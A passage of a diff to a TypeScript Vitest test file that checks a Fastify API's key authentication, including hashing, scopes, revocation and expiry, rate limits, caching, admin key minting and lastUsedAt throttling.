from cache (no Postgres per request)', async () => { - mockFindUnique.mockResolvedValue({ ...validRecord }) - const app = await buildAuthedApp() - const headers = { authorization: 'Bearer good' } - const r1 = await app.inject({ method: 'GET', url: '/price/test', headers }) - const r2 = await app.inject({ method: 'GET', url: '/price/test', headers }) - const r3 = await app.inject({ method: 'GET', url: '/price/test', headers }) - expect([r1.statusCode, r2.statusCode, r3.statusCode]).toEqual([200, 200, 200]) - // Three requests, one database lookup. - expect(mockFindUnique).toHaveBeenCalledTimes(1) - }) - - it('caches negative lookups so invalid keys do not hit Postgres per attempt', async () => { - mockFindUnique.mockResolvedValue(null) - expect(await lookupApiKey('bad')).toBeNull() - expect(await lookupApiKey('bad')).toBeNull() - expect(await lookupApiKey('bad')).toBeNull() - expect(mockFindUnique).toHaveBeenCalledTimes(1) - }) - - it('re-checks expiry on a cache hit, so the TTL never outlives the key', async () => { - vi.useFakeTimers() - try { - mockFindUnique.mockResolvedValue({ - ...validRecord, expiresAt: new Date(Date.now() + 5_000), - }) - expect(await lookupApiKey('soon')).not.toBeNull() - // Move past the key's own expiry but stay well within the cache TTL. - vi.advanceTimersByTime(6_000) - expect(await lookupApiKey('soon')).toBeNull() - // Still served from cache — expiry was re-evaluated, not re-queried. - expect(mockFindUnique).toHaveBeenCalledTimes(1) - } finally { - vi.useRealTimers() - } - }) - - it('stops a revoked key immediately on the instance that handles the revoke', async () => { - const token = 'to-be-revoked' - mockFindUnique.mockResolvedValue({ ...validRecord }) - const app = await buildAuthedApp() - const headers = { authorization: `Bearer ${token}` } - expect((await app.inject({ method: 'GET', url: '/price/test', headers })).statusCode).toBe(200) - - // Revoke: Postgres now reports it revoked, and the revoke path drops the - // cache entry (as admin.ts does after the UPDATE). - mockFindUnique.mockResolvedValue({ ...validRecord, revokedAt: new Date() }) - invalidateApiKey(hashApiKey(token)) - - const res = await app.inject({ method: 'GET', url: '/price/test', headers }) - expect(res.statusCode).toBe(401) - expect(res.json().code).toBe('revoked') - }) - - it('stops a revoked key within the cache TTL even without explicit invalidation', async () => { - vi.useFakeTimers() - try { - mockFindUnique.mockResolvedValue({ ...validRecord }) - expect(await lookupApiKey('cross-instance')).not.toBeNull() - - // Revoked on another instance: our cache is not invalidated here. - mockFindUnique.mockResolvedValue({ ...validRecord, revokedAt: new Date() }) - vi.advanceTimersByTime(29_000) // within the 30s TTL — still trusted - expect(await lookupApiKey('cross-instance')).not.toBeNull() - vi.advanceTimersByTime(2_000) // past the TTL — re-read, now rejected - expect(await lookupApiKey('cross-instance')).toBeNull() - } finally { - vi.useRealTimers() - } - }) - - it('keeps scopes on a cache hit, so a scoped route still works', async () => { - // The cached value carries the whole ApiKeyContext, scopes included. If it - // did not, a hit would authenticate with `scopes: undefined`, hasScope - // would refuse, and every scoped route would 403 for the length of the TTL - // — which reads as an authorization bug, not a caching one. - mockFindUnique.mockResolvedValue({ ...validRecord, scopes: ['read:prices'] }) - - const app = Fastify() - await app.register(registerApiKeyAuth) - app.get('/scoped', { config: { scope: 'read:prices' } }, async () => ({ ok: true })) - await app.ready() - - const headers = { authorization: 'Bearer scoped-key' } - const first = await app.inject({ method: 'GET', url: '/scoped', headers }) - const second = await app.inject({ method: 'GET', url: '/scoped', headers }) - - expect(first.statusCode).toBe(200) - expect(second.statusCode).toBe(200) - expect(mockFindUnique).toHaveBeenCalledTimes(1) - await app.close() - }) - - it('exports cache lookups as a hit/miss metric', async () => { - mockFindUnique.mockResolvedValue({ ...validRecord }) - await lookupApiKey('metric-key') // miss → Postgres - await lookupApiKey('metric-key') // hit → cache - const output = await register.metrics() - expect(output).toContain('api_key_cache_lookups_total') - const values = (await api_key_cache_lookups_total.get()).values - const hit = values.find((v) => v.labels.result === 'hit')?.value ?? 0 - const miss = values.find((v) => v.labels.result === 'miss')?.value ?? 0 - expect(hit).toBeGreaterThanOrEqual(1) - expect(miss).toBeGreaterThanOrEqual(1) - }) -}) - -describe('admin endpoints', () => { - const ORIGINAL = process.env.ADMIN_TOKEN - beforeEach(() => { process.env.ADMIN_TOKEN = 'admin-secret' }) - afterEach(() => { - // Node stringifies undefined → "undefined"; delete to truly clear. - if (ORIGINAL === undefined) delete process.env.ADMIN_TOKEN - else process.env.ADMIN_TOKEN = ORIGINAL - }) - - async function buildAdminApp() { - const app = Fastify() - await registerAdminRoutes(app) - await app.ready() - return app - } - - it('generateApiKey produces a prefixed opaque key', () => { - const k = generateApiKey() - expect(k).toMatch(/^lens_[a-f0-9]{48}$/) - }) - - it('rejects minting without the admin token', async () => { - const before = (await admin_auth_failures_total.get()).values[0]?.value ?? 0 - const app = await buildAdminApp() - const res = await app.inject({ - method: 'POST', url: '/admin/keys', payload: { label: 'x' }, - }) - expect(res.statusCode).toBe(401) - expect(mockCreate).not.toHaveBeenCalled() - expect((await admin_auth_failures_total.get()).values[0]?.value).toBe(before + 1) - }) - - it('mints a key and returns the plaintext once (stored as hash only)', async () => { - mockCreate.mockImplementation(async ({ data }: any) => ({ - id: 'new-id', createdAt: new Date(), ratePerMin: 60, ratePerDay: 10000, monthlyQuotaCents: 10000, dailyQuotaCents: 500, overagePolicy: 'block', ...data, - })) - const app = await buildAdminApp() - const res = await app.inject({ - method: 'POST', - url: '/admin/keys', - headers: { 'x-admin-token': 'admin-secret' }, - payload: { label: 'acme', ratePerMin: 120, ratePerDay: 50000 }, - }) - expect(res.statusCode).toBe(201) - const body = res.json() - expect(body.key).toMatch(/^lens_[a-f0-9]{48}$/) - expect(body.label).toBe('acme') - const stored = mockCreate.mock.calls[0][0].data - expect(stored.hash).toBe(sha256(body.key)) - expect(stored.hash).not.toBe(body.key) - }) - - it('accepts quota configuration on key creation', async () => { - mockCreate.mockImplementation(async ({ data }: any) => ({ - id: 'new-id', createdAt: new Date(), ratePerMin: 60, ratePerDay: 10000, ...data, - })) - const app = await buildAdminApp() - const res = await app.inject({ - method: 'POST', - url: '/admin/keys', - headers: { 'x-admin-token': 'admin-secret' }, - payload: { label: 'acme', monthlyQuotaCents: 20000, dailyQuotaCents: 1000, overagePolicy: 'allow_overage' }, - }) - expect(res.statusCode).toBe(201) - const body = res.json() - expect(body.monthlyQuotaCents).toBe(20000) - expect(body.dailyQuotaCents).toBe(1000) - expect(body.overagePolicy).toBe('allow_overage') - }) - - it('mints a key with a scope set', async () => { - mockCreate.mockImplementation(async ({ data }: any) => ({ - id: 'new-id', createdAt: new Date(), ratePerMin: 60, ratePerDay: 10000, ...data, - })) - const app = await buildAdminApp() - const res = await app.inject({ - method: 'POST', - url: '/admin/keys', - headers: { 'x-admin-token': 'admin-secret' }, - payload: { label: 'scoped-partner', scopes: ['read:prices', 'subscribe'] }, - }) - expect(res.statusCode).toBe(201) - const body = res.json() - expect(body.key).toMatch(/^lens_[a-f0-9]{48}$/) - expect(body.scopes).toEqual(['read:prices', 'subscribe']) - const stored = mockCreate.mock.calls[0][0].data - expect(stored.scopes).toEqual(['read:prices', 'subscribe']) - }) - - it('lists keys with scopes visible', async () => { - mockFindMany.mockResolvedValue([ - { - id: 'key-1', - label: 'partner-prices', - scopes: ['read:prices'], - ratePerMin: 60, - ratePerDay: 10000, - revokedAt: null, - expiresAt: null, - createdAt: new Date(), - monthlyQuotaCents: 10000, - dailyQuotaCents: 500, - overagePolicy: 'block', - }, - { - id: 'key-2', - label: 'legacy-key', - scopes: [], - ratePerMin: 60, - ratePerDay: 10000, - revokedAt: null, - expiresAt: null, - createdAt: new Date(), - monthlyQuotaCents: 10000, - dailyQuotaCents: 500, - overagePolicy: 'block', - }, - ]) - const app = await buildAdminApp() - const res = await app.inject({ - method: 'GET', - url: '/admin/keys', - headers: { 'x-admin-token': 'admin-secret' }, - }) - expect(res.statusCode).toBe(200) - const body = res.json() - expect(body.keys).toHaveLength(2) - expect(body.keys[0].scopes).toEqual(['read:prices']) - expect(body.keys[1].scopes).toEqual([]) - }) - - it('rejects listing keys without admin token', async () => { - const app = await buildAdminApp() - const res = await app.inject({ - method: 'GET', - url: '/admin/keys', - }) - expect(res.statusCode).toBe(401) - expect(mockFindMany).not.toHaveBeenCalled() - }) - - it('revokes a key by id', async () => { - mockFindUnique.mockResolvedValue({ id: 'key-1', revokedAt: null }) - mockUpdate.mockResolvedValue({ id: 'key-1', revokedAt: new Date() }) - const app = await buildAdminApp() - const res = await app.inject({ - method: 'DELETE', - url: '/admin/keys/key-1', - headers: { 'x-admin-token': 'admin-secret' }, - }) - expect(res.statusCode).toBe(200) - expect(res.json()).toMatchObject({ id: 'key-1', revoked: true }) - expect(mockUpdate).toHaveBeenCalledWith({ - where: { id: 'key-1' }, - data: { revokedAt: expect.any(Date) }, - }) - }) - - it('returns 404 revoking a non-existent key', async () => { - mockFindUnique.mockResolvedValue(null) - const app = await buildAdminApp() - const res = await app.inject({ - method: 'DELETE', - url: '/admin/keys/missing', - headers: { 'x-admin-token': 'admin-secret' }, - }) - expect(res.statusCode).toBe(404) - }) - - it('protects the recent webhook failure endpoint with the admin token', async () => { - const app = await buildAdminApp() - const res = await app.inject({ method: 'GET', url: '/admin/webhook-delivery-failures' }) - expect(res.statusCode).toBe(401) - expect(prisma.webhookDeliveryFailure.findMany).not.toHaveBeenCalled() - }) - - it('returns a bounded newest-first diagnostic list to admins', async () => { - const failures = [{ id: 'failed-1', endpoint: 'https://hooks.example.test/alerts', errorCategory: 'http_5xx' }] - vi.mocked(prisma.webhookDeliveryFailure.findMany).mockResolvedValue(failures as any) - const app = await buildAdminApp() - const res = await app.inject({ - method: 'GET', - url: '/admin/webhook-delivery-failures?limit=150', - headers: { 'x-admin-token': 'admin-secret' }, - }) - expect(res.statusCode).toBe(200) - expect(res.json()).toEqual({ failures }) - expect(prisma.webhookDeliveryFailure.findMany).toHaveBeenCalledWith({ - orderBy: { createdAt: 'desc' }, - take: 100, - }) - }) - - it('registers authentication counters in the Prometheus registry', async () => { - const output = await register.metrics() - expect(output).toContain('api_key_auth_failures_total') - expect(output).toContain('admin_auth_failures_total') - }) -}) - -describe('lastUsedAt recording & throttling', () => { - it('records lastUsedAt on successful authentication', async () => { - mockFindUnique.mockResolvedValue({ - id: 'key-1', - label: 'acme', - ratePerMin: 120, - ratePerDay: 50000, - revokedAt: null, - expiresAt: null, - }) - const app = await buildAuthedApp() - const res = await app.inject({ - method: 'GET', - url: '/price/test', - headers: { authorization: 'Bearer test-valid-key' }, - }) - - expect(res.statusCode).toBe(200) - expect(mockUpdate).toHaveBeenCalledTimes(1) - expect(mockUpdate).toHaveBeenCalledWith({ - where: { id: 'key-1' }, - data: { lastUsedAt: expect.any(Date) }, - }) - }) - - it('does not write lastUsedAt on failed authentication or public routes', async () => { - mockFindUnique.mockResolvedValue(null) - const app = await buildAuthedApp() - - // 1. Failed auth (invalid key) - const resFail = await app.inject({ - method: 'GET', - url: '/price/test', - headers: { authorization: 'Bearer non-existent' }, - }) - expect(resFail.statusCode).toBe(401) - expect(mockUpdate).not.toHaveBeenCalled() - - // 2. Public route without auth - const resPublic = await app.inject({ - method: 'GET', - url: '/status', - }) - expect(resPublic.statusCode).toBe(200) - expect(mockUpdate).not.toHaveBeenCalled() - }) - - it('throttles writes so repeated requests do not cause a database write each time', async () => { - mockFindUnique.mockResolvedValue({ - id: 'key-throttled', - label: 'acme', - ratePerMin: 1000, - ratePerDay: 50000, - revokedAt: null, - expiresAt: null, - }) - const app = await buildAuthedApp() - const headers = { authorization: 'Bearer test-throttled-key' } - - // Send 5 rapid requests with the same key - for (let i = 0; i < 5; i++) { - const res = await app.inject({ - method: 'GET', - url: '/price/test', - headers, - }) - expect(res.statusCode).toBe(200) - } - - // Must be called exactly once across the 5 requests - expect(mockUpdate).toHaveBeenCalledTimes(1) - expect(mockUpdate).toHaveBeenCalledWith({ - where: { id: 'key-throttled' }, - data: { lastUsedAt: expect.any(Date) }, - }) - }) - - it('updates lastUsedAt again once the throttle interval has elapsed', async () => { - vi.useFakeTimers() - try { - const startTime = new Date('2026-10-20T12:00:00.000Z') - vi.setSystemTime(startTime) - - mockFindUnique.mockResolvedValue({ - id: 'key-timer', - label: 'acme', - ratePerMin: 1000, - ratePerDay: 50000, - revokedAt: null, - expiresAt: null, - }) - - const app = await buildAuthedApp() - const headers = { authorization: 'Bearer test-timer-key' } - - // 1st request at t = 0 - const r1 = await app.inject({ method: 'GET', url: '/price/test', headers }) - expect(r1.statusCode).toBe(200) - expect(mockUpdate).toHaveBeenCalledTimes(1) - expect(mockUpdate).toHaveBeenLastCalledWith({ - where: { id: 'key-timer' }, - data: { lastUsedAt: startTime }, - }) - - // 2nd request at t = 10s (within default 60s throttle) -> throttled - vi.advanceTimersByTime(10_000) - const r2 = await app.inject({ method: 'GET', url: '/price/test', headers }) - expect(r2.statusCode).toBe(200) - expect(mockUpdate).toHaveBeenCalledTimes(1) - - // 3rd request at t = 65s (past the 60s throttle) -> writes again - vi.advanceTimersByTime(55_000) - const laterTime = new Date('2026-10-20T12:01:05.000Z') - const r3 = await app.inject({ method: 'GET', url: '/price/test', headers }) - expect(r3.statusCode).toBe(200) - expect(mockUpdate).toHaveBeenCalledTimes(2) - expect(mockUpdate).toHaveBeenLastCalledWith({ - where: { id: 'key-timer' }, - data: { lastUsedAt: laterTime }, - }) - } finally { - vi.useRealTimers() - } - }) - - it('documents and honors configurable throttle interval via environment variable', () => { - const originalThrottle = process.env.KEY_LAST_USED_THROTTLE_SECONDS - const originalApiThrottle = process.env.API_KEY_LAST_USED_THROTTLE_SECONDS - try { - delete process.env.KEY_LAST_USED_THROTTLE_SECONDS - delete process.env.API_KEY_LAST_USED_THROTTLE_SECONDS - - // Default is 60s (60000ms) - expect(getKeyLastUsedThrottleMs()).toBe(DEFAULT_KEY_LAST_USED_THROTTLE_SECONDS * 1000) - expect(DEFAULT_KEY_LAST_USED_THROTTLE_SECONDS).toBe(60) - - // Configured via KEY_LAST_USED_THROTTLE_SECONDS - process.env.KEY_LAST_USED_THROTTLE_SECONDS = '15' - expect(getKeyLastUsedThrottleMs()).toBe(15_000) - - // Configured to 0 (no throttle) - process.env.KEY_LAST_USED_THROTTLE_SECONDS = '0' - expect(getKeyLastUsedThrottleMs()).toBe(0) - - // Fallback to API_KEY_LAST_USED_THROTTLE_SECONDS - delete process.env.KEY_LAST_USED_THROTTLE_SECONDS - process.env.API_KEY_LAST_USED_THROTTLE_SECONDS = '30' - expect(getKeyLastUsedThrottleMs()).toBe(30_000) - } finally { - if (originalThrottle !== undefined) process.env.KEY_LAST_USED_THROTTLE_SECONDS = originalThrottle - else delete process.env.KEY_LAST_USED_THROTTLE_SECONDS - - if (originalApiThrottle !== undefined) process.env.API_KEY_LAST_USED_THROTTLE_SECONDS = originalApiThrottle - else delete process.env.API_KEY_LAST_USED_THROTTLE_SECONDS - } - }) - - it('tracks throttle intervals independently per key', async () => { - // Keyed off the hash rather than a queue of mockResolvedValueOnce values: - // the lookup cache (#495) means a repeat request for the same key does not - // reach Postgres at all, so a sequential queue hands the *next* key's - // record to whichever lookup happens to miss the cache. - const records: Record = { - [sha256('key-alpha')]: { - id: 'key-alpha', - label: 'alpha', - ratePerMin: 100, - ratePerDay: 5000, - revokedAt: null, - expiresAt: null, - }, - [sha256('key-beta')]: { - id: 'key-beta', - label: 'beta', - ratePerMin: 100, - ratePerDay: 5000, - revokedAt: null, - expiresAt: null, - }, - } - mockFindUnique.mockImplementation(async ({ where }: { where: { hash: string } }) => - records[where.hash] ?? null - ) - - const app = await buildAuthedApp() - - // Key A: first request writes. - await app.inject({ - method: 'GET', - url: '/price/test', - headers: { authorization: 'Bearer key-alpha' }, - }) - expect(mockUpdate).toHaveBeenCalledTimes(1) - expect(mockUpdate).toHaveBeenLastCalledWith({ - where: { id: 'key-alpha' }, - data: { lastUsedAt: expect.any(Date) }, - }) - - // Key A again, immediately: throttled. - await app.inject({ - method: 'GET', - url: '/price/test', - headers: { authorization: 'Bearer key-alpha' }, - }) - expect(mockUpdate).toHaveBeenCalledTimes(1) - - // Key B: its own bucket, so it writes straight away. - await app.inject({ - method: 'GET', - url: '/price/test', - headers: { authorization: 'Bearer key-beta' }, - }) - expect(mockUpdate).toHaveBeenCalledTimes(2) - expect(mockUpdate).toHaveBeenLastCalledWith({ - where: { id: 'key-beta' }, - data: { lastUsedAt: expect.any(Date) }, - }) - }) - - it('does not fail authenticated requests if database update throws', async () => { - mockFindUnique.mockResolvedValue({ - id: 'key-failing-db', - label: 'failing', - ratePerMin: 100, - ratePerDay: 5000, - revokedAt: null, - expiresAt: null, - }) - mockUpdate.mockRejectedValueOnce(new Error('PostgreSQL connection terminated')) - - const app = await buildAuthedApp() - const res = await app.inject({ - method: 'GET', - url: '/price/test', - headers: { authorization: 'Bearer test-valid-key' }, - }) - - // Request must still succeed with 200 - expect(res.statusCode).toBe(200) - expect(res.json()).toEqual({ ok: true }) - expect(mockUpdate).toHaveBeenCalledTimes(1) - }) -}) +import { describe, it, expect, vi, beforeEach, afterEach } from 'vitest' +import { createHash } from 'crypto' +import Fastify from 'fastify' +import rateLimit from '@fastify/rate-limit' + +// ── Mock Prisma (mirrors the pattern used by webhooks.test.ts) ───────────────── +vi.mock('../db', () => ({ + prisma: { + apiKey: { + findUnique: vi.fn(), + findMany: vi.fn(), + create: vi.fn(), + update: vi.fn(), + }, + webhookDeliveryFailure: { + findMany: vi.fn(), + create: vi.fn(), + deleteMany: vi.fn(), + }, + }, +})) + +import { prisma } from '../db' +import { + registerApiKeyAuth, + hashApiKey, + extractBearer, + lookupApiKey, + hasScope, + invalidateApiKey, + clearApiKeyCache, + recordApiKeyLastUsed, + getKeyLastUsedThrottleMs, + resetApiKeyLastUsedThrottle, + DEFAULT_KEY_LAST_USED_THROTTLE_SECONDS, +} from '../api/auth' +import { registerAdminRoutes, generateApiKey } from '../api/admin' +import { + register, + api_key_auth_failures_total, + admin_auth_failures_total, + api_key_cache_lookups_total, +} from '../metrics' + +const mockFindUnique = prisma.apiKey.findUnique as unknown as ReturnType +const mockFindMany = prisma.apiKey.findMany as unknown as ReturnType +const mockCreate = prisma.apiKey.create as unknown as ReturnType +const mockUpdate = prisma.apiKey.update as unknown as ReturnType + +function sha256(s: string): string { + return createHash('sha256').update(s, 'utf8').digest('hex') +} + +async function apiKeyAuthFailureCount(reason: string): Promise { + const metric = await api_key_auth_failures_total.get() + return metric.values.find((value) => value.labels.reason === reason)?.value ?? 0 +} + +/** Builds an app with auth enabled + one protected and one public route. */ +async function buildAuthedApp() { + const app = Fastify() + // Auth must register before rate-limit: both run in `onRequest`, and the + // limiter reads req.apiKey, which the auth hook populates. + await app.register(registerApiKeyAuth) + await app.register(rateLimit, { + max: (req) => req.apiKey?.ratePerMin ?? 100, + timeWindow: '1 minute', + keyGenerator: (req) => req.apiKey?.id ?? req.ip, + }) + app.get('/price/test', { config: { scope: 'read:prices' } }, async () => ({ ok: true })) + app.get('/history/test', { config: { scope: 'read:history' } }, async () => ({ ok: true })) + app.get('/status', { config: { public: true } }, async () => ({ ok: true })) + await app.ready() + return app +} + +beforeEach(() => { + // The lastUsedAt throttle is module-level state keyed by id; without this a + // window claimed in one test silently throttles the next one's write. + resetApiKeyLastUsedThrottle() + mockFindUnique.mockReset() + mockFindMany.mockReset() + mockCreate.mockReset() + mockUpdate.mockReset() + // The lookup cache is module-global; a stale entry from a previous test + // would otherwise mask a different mock for the same key. + clearApiKeyCache() +}) + +describe('hashApiKey / extractBearer', () => { + it('hashes keys with SHA-256 (never stores plaintext)', () => { + expect(hashApiKey('lens_secret')).toBe(sha256('lens_secret')) + // 64 hex chars = SHA-256 + expect(hashApiKey('x')).toMatch(/^[a-f0-9]{64}$/) + }) + + it('extracts the bearer token, case-insensitively', () => { + expect(extractBearer('Bearer abc123')).toBe('abc123') + expect(extractBearer('bearer spaced ')).toBe('spaced') + expect(extractBearer(undefined)).toBeNull() + expect(extractBearer('Basic abc')).toBeNull() + }) +}) + +describe('lookupApiKey', () => { + it('looks up by hash and returns context for a valid key', async () => { + mockFindUnique.mockResolvedValue({ + id: 'key-1', label: 'acme', ratePerMin: 120, ratePerDay: 50000, revokedAt: null, + }) + const ctx = await lookupApiKey('lens_plain') + expect(mockFindUnique).toHaveBeenCalledWith({ where: { hash: sha256('lens_plain') } }) + expect(ctx).toEqual({ id: 'key-1', label: 'acme', ratePerMin: 120, ratePerDay: 50000, scopes: [] }) + }) + + it('returns scopes when the key has scopes defined', async () => { + mockFindUnique.mockResolvedValue({ + id: 'key-1', label: 'acme', ratePerMin: 120, ratePerDay: 50000, revokedAt: null, scopes: ['read:prices', 'subscribe'], + }) + const ctx = await lookupApiKey('lens_plain') + expect(ctx).toEqual({ + id: 'key-1', + label: 'acme', + ratePerMin: 120, + ratePerDay: 50000, + scopes: ['read:prices', 'subscribe'], + }) + }) + + it('returns null for an unknown key', async () => { + mockFindUnique.mockResolvedValue(null) + expect(await lookupApiKey('nope')).toBeNull() + }) + + it('returns null for a revoked key', async () => { + mockFindUnique.mockResolvedValue({ + id: 'key-1', label: 'acme', ratePerMin: 60, ratePerDay: 1000, revokedAt: new Date(), + }) + expect(await lookupApiKey('lens_plain')).toBeNull() + }) + + it('returns null for an expired key', async () => { + mockFindUnique.mockResolvedValue({ + id: 'key-1', + label: 'acme', + ratePerMin: 60, + ratePerDay: 1000, + revokedAt: null, + expiresAt: new Date(Date.now() - 1000), + }) + expect(await lookupApiKey('lens_plain')).toBeNull() + }) +}) + +describe('hasScope', () => { + const unscopedKey = { id: 'k1', label: 'unscoped', ratePerMin: 60, ratePerDay: 1000, scopes: [] } + const scopedKey = { id: 'k2', label: 'scoped', ratePerMin: 60, ratePerDay: 1000, scopes: ['read:prices'] } + const wildcardKey = { id: 'k3', label: 'wildcard', ratePerMin: 60, ratePerDay: 1000, scopes: ['*'] } + + it('allows access when route requires no scope', () => { + expect(hasScope(scopedKey, undefined)).toBe(true) + expect(hasScope(unscopedKey, undefined)).toBe(true) + }) + + it('allows legacy unscoped key access to any scope', () => { + expect(hasScope(unscopedKey, 'read:prices')).toBe(true) + expect(hasScope(unscopedKey, 'read:history')).toBe(true) + expect(hasScope(unscopedKey, 'subscribe')).toBe(true) + }) + + it('allows scoped key access only to declared scopes', () => { + expect(hasScope(scopedKey, 'read:prices')).toBe(true) + expect(hasScope(scopedKey, 'read:history')).toBe(false) + expect(hasScope(scopedKey, 'subscribe')).toBe(false) + }) + + it('allows wildcard key access to any scope', () => { + expect(hasScope(wildcardKey, 'read:prices')).toBe(true) + expect(hasScope(wildcardKey, 'read:history')).toBe(true) + }) +}) + +describe('API key auth hook', () => { + it('returns 401 when no key is provided', async () => { + const before = await apiKeyAuthFailureCount('missing') + const app = await buildAuthedApp() + const res = await app.inject({ method: 'GET', url: '/price/test' }) + expect(res.statusCode).toBe(401) + expect(res.json()).toMatchObject({ error: 'Unauthorized' }) + expect(res.json().code).toBe('missing') + expect(await apiKeyAuthFailureCount('missing')).toBe(before + 1) + expect(mockFindUnique).not.toHaveBeenCalled() + }) + + it('counts malformed authorization separately from missing credentials', async () => { + const before = await apiKeyAuthFailureCount('malformed') + const app = await buildAuthedApp() + const res = await app.inject({ + method: 'GET', + url: '/price/test', + headers: { authorization: 'Basic value' }, + }) + expect(res.statusCode).toBe(401) + expect(res.json()).toMatchObject({ code: 'malformed' }) + expect(await apiKeyAuthFailureCount('malformed')).toBe(before + 1) + }) + + it('returns 401 for an invalid key', async () => { + const before = await apiKeyAuthFailureCount('unknown') + mockFindUnique.mockResolvedValue(null) + const app = await buildAuthedApp() + const res = await app.inject({ + method: 'GET', + url: '/price/test', + headers: { authorization: 'Bearer wrong' }, + }) + expect(res.statusCode).toBe(401) + expect(res.json().code).toBe('unknown') + expect(res.json().message).toBe('Unknown API key.') + expect(await apiKeyAuthFailureCount('unknown')).toBe(before + 1) + }) + + it('returns 401 for a revoked key', async () => { + const before = await apiKeyAuthFailureCount('revoked') + mockFindUnique.mockResolvedValue({ + id: 'key-1', label: 'acme', ratePerMin: 60, ratePerDay: 1000, revokedAt: new Date(), + }) + const app = await buildAuthedApp() + const res = await app.inject({ + method: 'GET', + url: '/price/test', + headers: { authorization: 'Bearer revoked' }, + }) + expect(res.statusCode).toBe(401) + expect(res.json().code).toBe('revoked') + expect(res.json().message).toBe('Revoked API key. Request a replacement key.') + expect(await apiKeyAuthFailureCount('revoked')).toBe(before + 1) + }) + + it('returns a distinct code and message for an expired key', async () => { + const before = await apiKeyAuthFailureCount('expired') + mockFindUnique.mockResolvedValue({ + id: 'key-1', + label: 'acme', + ratePerMin: 60, + ratePerDay: 1000, + revokedAt: null, + expiresAt: new Date(Date.now() - 1000), + }) + const app = await buildAuthedApp() + const res = await app.inject({ + method: 'GET', + url: '/price/test', + headers: { authorization: 'Bearer test-expired-api-key' }, + }) + expect(res.statusCode).toBe(401) + expect(res.json().code).toBe('expired') + expect(res.json().message).toBe('Expired API key. Request a replacement key.') + expect(await apiKeyAuthFailureCount('expired')).toBe(before + 1) + }) + + it('allows a valid key through and attaches metadata', async () => { + mockFindUnique.mockResolvedValue({ + id: 'key-1', label: 'acme', ratePerMin: 120, ratePerDay: 50000, revokedAt: null, + }) + const app = await buildAuthedApp() + const res = await app.inject({ + method: 'GET', + url: '/price/test', + headers: { authorization: 'Bearer good' }, + }) + expect(res.statusCode).toBe(200) + expect(res.json()).toEqual({ ok: true }) + }) + + it('lets public routes through without a key', async () => { + const app = await buildAuthedApp() + const res = await app.inject({ method: 'GET', url: '/status' }) + expect(res.statusCode).toBe(200) + expect(mockFindUnique).not.toHaveBeenCalled() + }) + + it('allows a call when key has the required scope', async () => { + mockFindUnique.mockResolvedValue({ + id: 'key-1', label: 'acme', ratePerMin: 120, ratePerDay: 50000, revokedAt: null, scopes: ['read:prices'], + }) + const app = await buildAuthedApp() + const res = await app.inject({ + method: 'GET', + url: '/price/test', + headers: { authorization: 'Bearer good' }, + }) + expect(res.statusCode).toBe(200) + expect(res.json()).toEqual({ ok: true }) + }) + + it('refuses a call when key lacks the required scope and names the required scope in the error', async () => { + const before = await apiKeyAuthFailureCount('insufficient_scope') + mockFindUnique.mockResolvedValue({ + id: 'key-1', label: 'acme', ratePerMin: 120, ratePerDay: 50000, revokedAt: null, scopes: ['read:prices'], + }) + const app = await buildAuthedApp() + const res = await app.inject({ + method: 'GET', + url: '/history/test', + headers: { authorization: 'Bearer good' }, + }) + expect(res.statusCode).toBe(403) + const body = res.json() + expect(body.error).toBe('Forbidden') + expect(body.code).toBe('insufficient_scope') + expect(body.requiredScope).toBe('read:history') + expect(body.message).toContain('read:history') + expect(await apiKeyAuthFailureCount('insufficient_scope')).toBe(before + 1) + }) + + it('allows a legacy unscoped key with no scopes recorded to access any route', async () => { + mockFindUnique.mockResolvedValue({ + id: 'key-legacy', label: 'legacy-partner', ratePerMin: 120, ratePerDay: 50000, revokedAt: null, scopes: [], + }) + const app = await buildAuthedApp() + const priceRes = await app.inject({ + method: 'GET', + url: '/price/test', + headers: { authorization: 'Bearer legacy' }, + }) + expect(priceRes.statusCode).toBe(200) + expect(priceRes.json()).toEqual({ ok: true }) + + const historyRes = await app.inject({ + method: 'GET', + url: '/history/test', + headers: { authorization: 'Bearer legacy' }, + }) + expect(historyRes.statusCode).toBe(200) + expect(historyRes.json()).toEqual({ ok: true }) + }) + + it('allows a key with multiple scopes to access routes matching any of its scopes', async () => { + mockFindUnique.mockResolvedValue({ + id: 'key-multi', label: 'multi', ratePerMin: 120, ratePerDay: 50000, revokedAt: null, scopes: ['read:prices', 'read:history'], + }) + const app = await buildAuthedApp() + const priceRes = await app.inject({ + method: 'GET', + url: '/price/test', + headers: { authorization: 'Bearer multi' }, + }) + expect(priceRes.statusCode).toBe(200) + + const historyRes = await app.inject({ + method: 'GET', + url: '/history/test', + headers: { authorization: 'Bearer multi' }, + }) + expect(historyRes.statusCode).toBe(200) + }) +}) + +describe('per-key rate quotas', () => { + it('honors each key’s own ratePerMin (429 after the quota)', async () => { + // A key allowed only 2 requests/min. + mockFindUnique.mockResolvedValue({ + id: 'key-limited', label: 'small', ratePerMin: 2, ratePerDay: 1000, revokedAt: null, + }) + const app = await buildAuthedApp() + const headers = { authorization: 'Bearer limited' } + + const r1 = await app.inject({ method: 'GET', url: '/price/test', headers }) + const r2 = await app.inject({ method: 'GET', url: '/price/test', headers }) + const r3 = await app.inject({ method: 'GET', url: '/price/test', headers }) + + expect(r1.statusCode).toBe(200) + expect(r2.statusCode).toBe(200) + expect(r3.statusCode).toBe(429) // quota exhausted + }) + + it('tracks quotas independently per key', async () => { + const app = await buildAuthedApp() + // First key: limited to 1/min. + mockFindUnique.mockResolvedValue({ + id: 'key-a', label: 'a', ratePerMin: 1, ratePerDay: 100, revokedAt: null, + }) + const a1 = await app.inject({ method: 'GET', url: '/price/test', headers: { authorization: 'Bearer a' } }) + const a2 = await app.inject({ method: 'GET', url: '/price/test', headers: { authorization: 'Bearer a' } }) + expect(a1.statusCode).toBe(200) + expect(a2.statusCode).toBe(429) + + // Second, distinct key gets its own fresh bucket. + mockFindUnique.mockResolvedValue({ + id: 'key-b', label: 'b', ratePerMin: 1, ratePerDay: 100, revokedAt: null, + }) + const b1 = await app.inject({ method: 'GET', url: '/price/test', headers: { authorization: 'Bearer b' } }) + expect(b1.statusCode).toBe(200) + }) +}) + +describe('API key lookup cache (Issue #495)', () => { + const validRecord = { + id: 'key-1', label: 'acme', ratePerMin: 120, ratePerDay: 50000, revokedAt: null, + } + + it('serves a repeated request for the same key from cache (no Postgres per request)', async () => { + mockFindUnique.mockResolvedValue({ ...validRecord }) + const app = await buildAuthedApp() + const headers = { authorization: 'Bearer good' } + const r1 = await app.inject({ method: 'GET', url: '/price/test', headers }) + const r2 = await app.inject({ method: 'GET', url: '/price/test', headers }) + const r3 = await app.inject({ method: 